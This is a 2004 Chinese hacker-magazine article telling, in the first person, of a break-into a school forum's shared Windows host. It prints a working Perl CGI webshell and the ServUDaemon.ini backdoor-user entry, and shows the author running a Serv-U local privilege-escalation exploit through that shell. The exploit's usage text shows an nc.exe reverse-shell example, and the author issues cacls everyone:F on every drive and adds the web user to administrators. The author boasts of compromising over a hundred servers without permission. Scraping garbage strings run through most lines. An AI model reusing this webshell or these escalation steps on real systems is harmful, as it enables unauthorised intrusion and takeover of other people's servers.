剑走偏锋——灵巧的旁注攻击 - @- b( {2 L: p) _ S$ V
本文作者:angel) P0 f C* a+ h
文章性质:原创: q: M% o5 Q: C6 q T8 c( E& W
发布日期:2004-11-09
/ P; T9 Q7 `0 Q* q b8 V* B注意:, b) x2 _3 L3 [0 t# z
本文的技术并不是最新的,涉及到的技术含量也不是很多,重要的是其中的渗透思路。
" R$ r6 X) o4 q3 r# o本文已在《黑客X档案》11月刊发表,版权归本站及其杂志社所有。
( |2 j7 }* T' b! ?
( B8 X$ G6 F ?+ d1 W/ s) E 终于高中毕业了,一定要在暑假努力学习,发奋学习,以前入侵少之又少,都是研究这样研究那样,实战经验太欠缺了,所以决定暑假恶补一下渗透技术,顺便又可以看看国内主机的安全性。暑假 6 月整整学习了一个月的渗透,从 xiaolu 身上学习到不少好的思路和经验。在此谢谢 xiaolu 了。
) d2 E* v2 s3 b0 m0 v$ V5 M
# E& o% q+ N$ _& D5 p7 K6 Q 一个多月的时间里,渗透过上百台服务器,有独立的,有虚拟主机的,有群组的,有国内和国外,我发现一个极其严重的问题,国外的服务器,普遍安全性都非常高,管理员的安全意识非常高,做个比例,如果国内平均每 10 台服务器,能渗透进去 6 台甚至更多,那国外、台湾的,平均每 10 台服务器仅仅能渗透 1 台。当然我的水平也是一个问题。可是却反映出国内的管理员的水平的的确确比国外的要差几个档次。国内的管理员的技术和意识,迫切需要大幅度提高。 9 a3 N6 q1 L' c' v
+ G3 T6 l7 T8 j7 q! P+ E! \: i
不过国内的也有比较 BT 的管理员,我就遇见几个服务器设置得非常。其中一个的 Documents and Settings 目录下还有 nsfocus 目录,难道是 nsfocus 公司帮做的安全?这个服务器我们没有拿下,还有另外一个,就是今天的重点。
( D: x0 g; j* j9 k: I ^" B" k" A/ M$ o5 f( X
一次看见了一个学校论坛(http://www.school.com),还蛮火爆的,顿时兴趣来了, ping 了一下,发现 4 个包都返回 Request timed out. 估计是搞了策略或者防火墙的,象我这种以 Web 安全的,自然喜欢从站点上找漏洞,自从学习 Web 开始,我就落下一个怪癖,就是如果实在从 Web 上找不到什么漏洞,宁愿放弃也不用什么漏洞扫描器。
; F) L# r/ I" b% B& V7 m& p, e* `, @" G( k8 z" R( V" X
大概看了看站点。就是一个论坛,采用 LeadBBS ,拿这个论坛没辙,还有其他办法,因为刚才我访问这个 IP ,返回“No web site is configured at this address.”,初步判断是虚拟主机,前段时间那几个黑站狂黑站的成功几率为什么这么高?因为有 http://whois.webhosting.info 这个网站,可以查询一个 IP 上,绑定了多少个域名。如果真的是虚拟主机,这个学校论坛没有漏洞,不代表其他站点就没有,很快的,我就通过一个小公司站点( http://anyhost/ )上的 DVBBS 6.0 传了一个 aspshell 上去,谁知道仅仅能够对自己的目录进行操作。而且自己的目录没有执行程序的权限,又用不了 Nfso ,手工跳转 URL 中的目录,也没有多少个可以浏览的,重要的 Program Files 和 Documents and Settings 目录都看不了,从 aspshell 反馈的信息来看,每个站点都设置了单独的用户,似乎一切都陷入僵局。
6 a3 b5 j% |2 g) c8 W j( L- _7 |7 D5 \. N% g! p: t; ^. t
没有目的的跳转目录着……
$ t |6 A% V0 T! L+ h+ E9 `+ {% p
& Y# c* y9 Q4 d 我习惯性的在 URL 跳转到 c:\php,没想到居然可以看见了,那这个主机很可能就会支持 php 了,马上传了一个 phpspy 上去,非常幸运,顺利看到了登陆入口,可是没想到进入以后才发现,php.ini 亦设置得异常 BT,安全模式打开了, phpinfo 函数也被禁用了,看不了详细的系统信息,不过看 phpspy 自带的探针可以发现,allow_url_fopen、display_errors、 register_globals 统统关闭,system、passthru、exec、shell_exec 几个函数都无一幸免的被禁用了,直接跳转目录还是只可以看到这些目录而已,各个站点的目录都是类似于 “D:\websites\school.com#dlfjurdlkfjk” 这样的,每个站点目录后面的那些字符串都不一样,也跳转不到,后来我猜测后面的字符串就是 ftp 密码,试验了一下,无法登陆,看似柳暗花明,希望又破灭了……
. w. }9 K. b1 R) y# F
* r9 `; ?: [# K! z 结束了吗?不,我试着 FTP 一下: / G, H% ?; R+ {0 q/ T9 ^1 b. S
' l% Y1 t$ Z$ Q* I
Microsoft Windows 2000 [Version 5.00.2195]
# [8 N0 Y+ S2 s(C) 版权所有 1985-2000 Microsoft Corp. 0 [; N% s! E. x; ~" s, R1 e) P
3 W. A4 w. @! H& G5 I0 x+ AC:\Documents and Settings\Administrator>ftp www.school.com
* q( g$ |: A' [8 l( BConnected to www. school.com. 8 y7 J8 N4 i8 w A9 c
220 Welcome to FTP Server... # l" r$ a; ~. }
User (www.bjtrq.com:(none)): 1 _& b6 l) K+ u7 w8 I N
331 User name okay, need password.
C& H, D4 o2 P W- ?Password:
! L. g8 y& q% `2 Y% Q/ x530 Not logged in. " R& p- {5 Q1 ~3 u$ S
Login failed. ; m. Z" J3 I e) z. r- j
ftp> bye 3 w7 B9 i# T+ |+ Z
221 Goodbye!
7 w* u5 P: y6 m& C
5 e6 E% M, m5 A3 v
5 e+ \! r9 W' J/ x. a1 u 从返回的信息判断,我们还是有希望的。尽管他修改了 FTP Server 的 Banner,但是从 User name okay, need password. 这句我们还是大胆的判断这个服务器就是采用 Serv-U ,我上手有目前所有版本 Serv-U 本地提升权限的 Exploit ,如果我能传一个上去,并且能够执行,一切就明朗了。再仔细想想有哪个目录可以写的?当时在 c:\php 目录下没有发现 sessiondata 目录,而且也不是自动安装版,估计管理员把 session 的目录换到其他地方了,不然这个目录是 everyone 可写的…… 6 u0 K, [6 ^7 O0 g5 I& p' D
9 ^0 u! c" z$ {, b
原来我还忘记了一个最重要的目录, C:\Documents and Settings\All Users ,从这个目录可以知道很多信息,这个目录一般、至少都是 everyone 可读的,这样我们就可以知道好多有用的信息了,直接通过我的 aspshell 手工跳转到这个目录,呵呵。马上看到了想看的目录树。 * l) b8 y9 |' {5 `. n, g
0 H% b( a0 o% V5 s3 SApplication Data
6 b9 J5 X' B2 W' WDocuments3 n4 ]+ |3 R) s, X5 _2 ^+ N
DRM# b2 T2 R4 l$ p2 S. J" c' p
Favorites
$ T- E8 k" x' \ pTemplates
8 Y. ^# E& f4 I「开始」菜单
4 T+ p+ @% R8 g. b( J8 z桌面
1 O3 |3 L# U! |; v$ u# D; S% w # N' W" r. L6 d! K J. d
" d" _# f1 a- Z- T" [8 J; B 马上试试建目录,可惜里面的目录包括子目录都无法新建, BT 管理员权限设置得还真严格,不过我们还是有收获的,那就是 “C:\Documents and Settings\All Users\ 「开始」菜单 \ 程序 \”目录里,看到了很多决定结果的有用信息, - S6 \6 G+ r4 C2 o1 w: h1 R+ h
X" L& M0 a5 {; }, d5 YActiveState ActivePerl 5.8& o. M2 r# Q: L7 n4 ?& v! Q- ?
Administrative Tools
2 v- w8 z; l5 H3 Z5 _$ XDeerfield.com ?! M+ Y0 f' I; ?
DTemp% _. T. E3 _# B6 w! k
IPSentry
4 O P3 {% e' O& B' k" J. XMBM 59 M3 F" z, F( i) L5 u8 o# y
NetMeter" `" M2 ?. s6 o- F6 C
Network ICE! Q) a8 I# r% R% r0 A* M
Persits Software AspEmail# O& O6 a3 l/ n1 A: D
Persits Software AspJpeg
$ D& ^, V, f# h# E( i, p" Q$ yServ-U FTP Server u( ] _% S* P$ x0 n8 Q
Symantec Client Security+ P/ A# w I/ [/ h& {- Q, i
Windows 优化大师
) R* z7 W( h: p4 SWinRAR& e( j' ~+ P# m
启动
9 T7 H$ g; b8 G$ x& Z8 e管理工具
/ n8 P; ~! j3 S' w, l- b6 \附件
. |# d; G4 ]+ e$ d" D # ^& d8 N# A9 ]
: g6 i) B4 t+ G |( C
呵呵,现在我们知道了好多有用的信息了,看着这些东西,可以看得出管理员对安全、效率很在意,装了 Perl,也就是说可能支持 cgi 了, IPSentry 这个可以实时检测网站的各类服务, 当某服务停止时, 该软件会打 Pager, 或 EMAIL,或发声,或运行其它软件来提醒管理员,确保服务器出现问题能及时处理,说明管理员比较负责任,NetMeter 可以对网络流量进行监控,装了黑冰防火墙和诺顿杀毒服务器版,说明管理员对于服务器的安全是很小心的,这还不算,还装了另外一个防火墙——VisNetic Firewall,真是 BT 到家了,装了优化大师,看得出这个管理员还是比较爱清洁的。从管理工具里面我们还看到了终端服务客户端生成器.lnk 、终端服务配置.lnk ,还有终端服务,这下好了,说不定顺利就可以多一台 3389 肉鸡了。 7 G |+ b, Y5 p
9 e7 i& _2 A& S0 ]. h3 b
先通过 aspshell 下载 Serv-U 的任意一个快捷方式,然后本地查看属性的目标,呵呵,原来 Serv-U 的目录是 "C:\Program Filesewfq4qrqtgy4635\Serv-U\" ,这下好了,直接跳转目录。OH~,yes~~,看到了,马上修改 ServUDaemon.ini文件,这个服务器居然放了 280 个用户,狂晕……不管了,先在添加 [Domain1] 里加一行:
# t# p* o8 s2 ~- c O
: \) ~% j9 u# ~$ p- n eUser281=angel|1|0 9 d! X' u, o u; E+ x) q
, p$ O" ]$ t" e4 K/ Q; g
M) l; K* ]8 V 然后加上
; [$ W* N' R: B" y7 y3 W' b
2 V, c7 |* G0 \! p* @[USER=angel|1]" L2 h3 }+ a7 ]; x
Password=ng98F85379EA68DBF97BAADCA99B69B805' {: c u* z8 T6 x1 z- W. P
HomeDir=D:\websites
2 ^. E5 n% p* u1 |/ uRelPaths=1
! M) `* I0 @9 b. r/ gTimeOut=600
3 D. o9 u. Z6 F( c- kMaintenance=System
( G0 M* w$ f4 }; \+ DAccess1=D:\websites|RWAMELCDP
& c" B1 `3 U7 M5 OSKEYValues=
, z3 D k6 Z) m4 ^7 n , B/ B8 C4 a. \. ?5 k2 D0 W9 ^7 P5 w
& p0 c0 r. n$ \0 c- I
添加一个 angel,密码为 111111 的用户,具有最高权限执行,然后我们就可以 ftp 上去 quote site exec xxxxxxxx 了,嘻嘻偷笑中……
% U8 o4 h5 u6 J2 K0 }2 r+ s% N$ X, m2 _- \- Q6 M7 ]; h: j+ E
不过残酷现实再一次粉碎了我的计划,修改好文件以后提交,居然是没有修改成功,看来还是权限,权限权限整惨人啊。
' i* b2 n: ^; W# x( L. o- R/ _" X2 f+ e* y" Z4 x9 y
不过还是有希望的,因为刚才我们看到了系统装了黑冰,有些版本存在“ISS RealSecure/BlackICE 协议分析模块 SMB 解析堆溢出漏洞”,可以远程利用的,手头上没有编译器,没有办法编译代码。 - H5 Z. B: ^1 Z
$ r+ a; h6 d9 L3 E. k( Q
还有就是 Perl,这个是个很大的突破口,因为 Perl 目录一般要 erveryone 完全控制的,不管他用 isap 还是 perl.exe 一般都是可写、可执行的,马上下载 Perl 的快捷方式来看看路径,呵呵,看到了,原来 D:\user\bin 就是存放 perl 的 bin 目录下的所有文件,这么说这个目录可能可以写,也可能可以执行咯,马上传一个 su.exe(针对目前所有版本的 Serv-U 本地提升权限漏洞)上去,呵呵,传上去了,太好了,现在就是执行了,刚才我们试了 aspshell、phpshell 都不行,现在就看最后的希望了,找呀找啊,终于在我硬盘上找到一个 cgishell,很老了,文件日期是 2002 年 6 月 30 日的,代码如下:
2 V4 h5 q% L8 s f4 l- I6 E! e% Z5 y3 Y& L! C) l; H+ `& W3 t$ V; g* k
#!/usr/bin/perl W! }' W: W3 F7 `" | @1 l
binmode(STDOUT);8 P- z/ Q9 V6 O* R$ b( I" o- j
syswrite(STDOUT, "Content-type: text/html\r\n\r\n", 27);
" P' i. H6 I7 v8 d$_ = $ENV{QUERY_STRING};' a% i0 m' {6 y, p6 u/ j
s/%20/ /ig;
2 X/ p# @- N' `. Is/%2f/\//ig;
+ W/ P" K' n1 h$execthis = $_;
' E( k$ l- Z- J- t' nsyswrite(STDOUT, "<HTML><PRE>\r\n", 13);
# H. n8 }4 ]" M& bopen(STDERR, ">&STDOUT") || die "Can't redirect STDERR";
: u% k+ B5 |- vsystem($execthis);
$ @6 w7 O/ K8 Csyswrite(STDOUT, "\r\n</PRE></HTML>\r\n", 17);
. M* w* J1 \, r% @- i8 l# Pclose(STDERR);3 S3 Z. j: f d7 z+ {
close(STDOUT);
& m% p+ R5 I( u2 p% G. nexit;
# y: H) A/ D$ `) y% n3 s
' B g/ z& K4 r6 q! v6 m$ Y: y0 {
. [- X/ D) O. t! K1 f! j% W% }8 |6 N 我用过最好的 cgishell ,保存为一个 cgi 文件执行,晕……居然不支持!一阵阵郁闷袭来,2 秒钟的郁闷后,想到还有一线希望,那就是pl ,我们还没有试试 pl 扩展呢,把刚才的 cgi 文件改为 pl 文件,提交 http://anyhost//cmd.pl?dir ,我的天啊!! - Q: s x" @# I. v9 ^
) i+ t `( X+ E& ` 显示“拒绝访问”,终于可以执行了!太兴奋了,马上提交:
/ k1 r; \8 A5 I: \0 T8 m: g) K# X8 z @. H
http://anyhost//cmd.pl?d:\user\bin\su.exe - H& C) K# { N; |5 k* y( b
( P+ _$ T0 ^( A, C6 N" X
) `- y9 x; |4 I+ g3 M 返回:
: O0 V1 l8 {0 t5 K
) ~6 h+ v2 d) j! dServ-u >3.x Local Exploit by xiaolu
' N, O6 T/ t7 o' j6 W* Q
3 \2 p) V; z/ IUSAGE: serv-u.exe "command"
; N8 h& S9 b" q9 [( ]) B/ p. U
! U6 s2 \' h) eExample: serv-u.exe "nc.exe -l -p 99 -e cmd.exe" 0 T8 {6 g3 l2 J2 s$ X" Z; s! F
$ t' ?3 q+ a$ ^7 d; C! f: ]( R& ~% h/ w
嘻嘻~~现在是 IUSR 权限,那又怎么样?看你这次还不死?提交: 5 P& h' Q. L q
7 t4 z' D' x0 @4 Z$ m5 T/ X# vhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe c: /E /T /G everyone:F"
- s* s. p. x7 B# L+ g5 @! z; {% E( C% S0 J/ @5 U
http://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe d: /E /T /G everyone:F"
( W7 q8 a$ P3 b9 ?
; U' I- L; m6 w' O: e7 t! b- Nhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe e: /E /T /G everyone:F"
: D" G. H1 ^; v) d: L# C; X
0 t4 @6 g, Z) T& x) V( Y- fhttp://anyhost//cmd.pl?d:\user\bin\su.exe "cacls.exe f: /E /T /G everyone:F" : ]7 q& L: C1 J5 q
. e) G( A3 d l
) Z1 M% j. ~- @ 返回下面的信息,就表示成功了!!!
8 d4 H) t/ X( W7 k- Z# F% w6 v" m) V# y
Serv-u >3.x Local Exploit by xiaolu & e+ O0 I5 a1 k6 G% [
! T( @2 W0 M4 X; {/ }# A
<220 Serv-U FTP Server v5.2 for WinSock ready... 0 [- s2 I& {* V* |$ f, j6 R$ @8 |
6 @5 m& ?6 x- d; H; c>USER LocalAdministrator ! M- ~' y z6 {/ ` X! {; t1 y5 R
1 A0 } c* }9 E7 \2 `1 R' s! H
<331 User name okay, need password. ! d. a6 C- q6 A1 o
* O0 B. e5 ^- i! E d! A& j
****************************************************** / X1 _: T) O0 ^. O2 T. Q
9 c6 I+ X( K, a G( O1 k$ j: z# f7 Q
>PASS #l@$ak#.lk;0@P w8 h' L5 I0 u2 W
! y* d/ Z: ]6 H
<230 User logged in, proceed.
# {; E3 s' }$ {, Q5 ^; W# E* X: Q, o7 J4 I( V8 f
******************************************************
, c) s+ M& S0 N- T% m b1 o0 k3 t$ z; j9 U
>SITE MAINTENANCE
+ \( \+ K+ E2 [4 \" k8 E/ V. u l$ O% H W
****************************************************** ' ~7 y4 |0 u2 z$ n: N, v. w' p
- o. o8 O: Y* J' r1 V0 x[+] Creating New Domain... 1 x( m- ^5 g$ U# M1 w1 u& |3 X
% Z9 C% ?6 x( P0 r<200-DomainID=2 * S% w/ ]0 |" s. ?
$ W% t7 Y7 U/ l0 r G6 [$ O
<220 Domain settings saved & z7 C9 W! r8 o
0 v2 g7 k. M- Q1 a; `******************************************************
5 i) z% r$ g# e3 w
/ T$ `0 c3 e+ u[+] Domain xl:2 Created - r. ?9 b% u/ }% F
. d0 z: x( R+ D* v- _+ g
[+] Creating Evil User 6 O4 \7 ^- W2 G
8 q- |0 J; c! ^! j5 W& Q
<200-User=xl / G @/ b6 P/ {1 E; c
4 l' e3 m; U% m' I5 b
200 User settings saved
! d7 x: B0 w' f) o; H' \7 X/ D' A$ }, \: _; R0 Y* B' N
******************************************************
/ ~8 y0 H3 [2 v/ H. E' C
+ {+ l) i3 `4 e, d" z[+] Now Exploiting...
- ^* f. o. o! o# F6 I. b. j1 h1 ?% F: k7 o/ b: q- j9 }
>USER xl 1 B& F2 x8 f- K1 G4 ?" j
/ K6 {. i2 @& m; u2 G2 M6 G3 k) @
<331 User name okay, need password.
' a8 }9 x# @; q- @
: c$ j$ @3 e. }4 ~9 s* ^****************************************************** ( m+ F. F8 }# l* _9 n. L3 u( U e. m4 B7 p
3 E+ o0 r& _8 S7 d' c; s>PASS 111111
7 J( y/ n! k' \; j/ X$ ?
0 a" j* r& c/ ~$ v<230 User logged in, proceed. : p/ ]1 l; ]! I( f+ @% T
( l$ r$ A# T' O2 m/ w& ?2 o******************************************************
3 R! w3 W$ x, q" r$ F: d9 b$ _8 @+ z$ W( h
[+] Now Executing: cacls.exe c: /E /T /G everyone:F & |( U2 y' o p! k3 o! K
5 U$ X$ S+ o9 Z6 f6 O
<220 Domain deleted 1 v5 g- S: g$ Z) O3 E4 J
: I$ a- d8 B4 e! P****************************************************** 5 M/ o2 L2 a) h
3 f4 ~0 L+ B9 [) v9 k
6 z: `, B4 Z7 J* A: p* M5 z f8 } 每提交完一次都稍微等一下,因为这些命令需要时间处理的,不一会儿,就把所有分区设置为 everyone 完全控制了,可以任意操作硬盘的东西了,但是有些命令还是受了限制,因为权限还没有提升,现在我们把自己的用户提升为管理员:
8 P0 R% [) o5 ]' L+ P6 i& j, R" p9 m
http://anyhost//cmd.pl?d:\user\bin\su.exe " net localgroup administrators IUSR_anyhost /add" : c, b: i9 }1 O: U
2 ^6 z/ F3 H1 F1 a
v9 l6 e5 s8 N: ` 现在我们通过 web 方式,执行的命令就是以 administrator 的身份执行的了,相信到这里,下面的事该做什么,大家应该知道了吧?马上找到那个学校的目录,进去咯~~目的达到了,本来还想做一个 3389 的肉鸡的,想想算了,这种 BT 管理员的地盘,我也占领不了多久,留点提示到他的桌面就 over 了。 7 x7 p3 R6 ^. h, ]5 s. }
) k3 E8 L/ W; s$ |8 G2 y 说真的,搞安全这么久,从来没有遇见这么棘手的虚拟主机,要不是装了 Perl,还真是束手无策!本文技术含量不高,只是分享一下希望其中的思路,如果有一个人从中受益,这篇文章就完成它的使命了。
" u; y: v5 I/ h; X
% B- k5 X0 [. G, ? % W, S7 w* I. D# b$ }* j* h
|